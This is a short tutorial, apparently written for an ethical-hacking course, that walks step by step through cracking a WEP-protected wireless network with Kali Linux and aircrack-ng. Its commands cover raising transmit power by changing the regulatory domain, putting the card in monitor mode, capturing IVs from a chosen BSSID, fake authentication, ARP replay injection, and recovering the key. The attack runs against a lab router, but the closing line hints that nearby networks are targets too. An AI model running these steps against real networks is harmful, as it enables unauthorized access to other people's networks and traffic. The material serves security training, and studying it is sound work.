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When I’ve published the first document about Cracking Wireless Networks 
(http://alexandreborgesbrazil.files.wordpress.com/2014/02/cracking_wireless.pdf) some 
friends of mine had asked to make a document about cracking WEP and, as this week I’m 
teaching a CEH course, I decided to write this short  article. Honestly, I believe most security 
professionals know how to crack WEP wireless network, but it follows a very straight  
document  and trying to don’t make commom mistakes I’ve seen in other blogs such as to pin 
a channel  for the wireless search.  
 
I’ve used for this demonstration Kali Linux (http://www.kali.org/downloads/), a Cisco home 
wireless router configured to use WEP and the very famous external wireless card Alfa 
AWUS036H. It’s completly possible to execute same steps using a internal wireless card since 
it’s supported by aircrack suite.  Let’s go: 
 

1) The first step is to collect information about installed network interface cards in the  
system:  
 
root@hacker:~# iwconfig 
 
wlan1     IEEE 802.11bg  ESSID:off/any   
          Mode:Managed  Access Point: Not-Associated   Tx-
Power=27 dBm    
          Retry  long limit:7   RTS thr:off   Fragment thr:off 
          Encryption key:off 
          Power Management:off 
           
vmnet8    no wireless extensions. 
 
eth0      no wireless extensions. 
 
lo        no wireless extensions. 
 
wlan0     IEEE 802.11bgn  ESSID:"SOLARIS11"   
          Mode:Managed  Frequency:2.437 GHz  Access Point: 
CC:B2:55:D0:16:54    
          Bit Rate=130 Mb/s   Tx-Power=16 dBm    
          Retry  long limit:7   RTS thr:off   Fragment thr:off 
          Encryption key:off 
          Power Management:on 
          Link Quality=61/70  Signal level=-49 dBm   
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid 
frag:0 
          Tx excessive retries:796  Invalid misc:50   Missed 

http://alexandreborgesbrazil.files.wordpress.com/2014/02/cracking_wireless.pdf
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beacon:0 
 
vmnet1    no wireless extensions. 
 

2) To change some network interface attributes, the wlan1 interface was took down, 

we’ve changed its regulator country to Bolivia (local where is permited a higher 

transmission power) and we’ve altered txpower property to 30 (almost 1W): 

 

root@hacker:~# ifconfig wlan1 down 

root@hacker:~# iw reg set BO 

root@hacker:~# iwconfig wlan1 txpower 30 

3) I’ve configured the wlan1 interface to monitor mode (something like promiscuous 
operation) and brought it to up:  
 
root@hacker:~# iwconfig wlan1 mode monitor 
root@hacker:~# ifconfig wlan1 up 
 
root@hacker:~# iwconfig wlan1 
 
wlan1     IEEE 802.11bg  Mode:Monitor  Frequency:2.437 GHz  Tx-
Power=30 dBm    
          Retry  long limit:7   RTS thr:off   Fragment thr:off 
          Power Management:off 
 

4) So far we’ve configured the basic infrastructure, then let’s move to crack a WEP 
wireless network. Next command start a general scanning for wireless networks (over 
all channels):  
          
root@hacker:~# airodump-ng wlan1 
       

 
Figure 1 

 
For this test we’re going to choose the wireless network named “Hacker”.  
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5) The main task is to collect packages from “Hacker” wireless network because we need 

to have around 50.000 IVs (initialization vectors) to be able to crack and find the WEP 
key out, then we need to start to collect the packages and to associate to this target 
wireless network. 
 
Starting to collect packages (and IVs): 
 
root@hacker:~# airodump-ng -c 1 --bssid 00:25:9C:76:62:8F -w 
cap_course_1.txt wlan1 
 

 
Figure 2 

 
From previous executed command:  
 

-c  channel which is configured the Hacker wireless network according 
Figure 1. 
 
--bssid  the router MAC address 
 

  -w  write to file named cap_course_1.txt 
 

For associating to Hacker wireless network:  
 
root@hacker:/# aireplay-ng -1 0 -a 00:25:9C:76:62:8F wlan1 
 
23:34:11  Waiting for beacon frame (BSSID: 00:25:9C:76:62:8F) on 
channel 1 
 
23:34:12  Sending Authentication Request (Open System) 
 
23:34:14  Sending Authentication Request (Open System) [ACK] 
23:34:14  Authentication successful 
23:34:14  Sending Association Request [ACK] 
23:34:14  Association successful :-) (AID: 1) 
 
The -1 option means fake authentication, 0 means reassociation timing (seconds) and 
–a is the BSSID (AP MAC). 
 
6) With packages being collected, it’s timely to force IVs production to accelerate the 
process and this is done executing:   

root@hacker:~# aireplay-ng -3 -b 00:25:9C:76:62:8F -a 
00:25:9C:76:62:8F wlan1 
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Figure 3 

 
The -3 selects ARP request replay attack and –b is the BSSID.The big question is: when is it 
recommended to stop the package collection ? As it’s needed to gather 50.000 IVs at least, 
then a good guess is to collect more than 200.000 packets, but it’s only a rough guess. I 
suggest you leaving packets being collected until around 300.000 or 400.000 packets to assure 
you’ll break WEP.Wow, I almost forget: the Hacker wireless network must have often access to 
cause a big production of IVs. It’s a relevant condition.  
 
Finally, the great moment: let’s to crack and find the WEP key out:  
 
root@hacker:~# aircrack-ng cap_course_1.txt-01.cap 
 

 
Figure 4 
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Amazing! The WEP key was found: AA:BB:CC:DD:EE. Nowadays, it isn’t so common to find an 
WEP network,  but there’re lot opportunities close to you.  
 
Have a nice day. 
 

Alexandre Borges. 
 


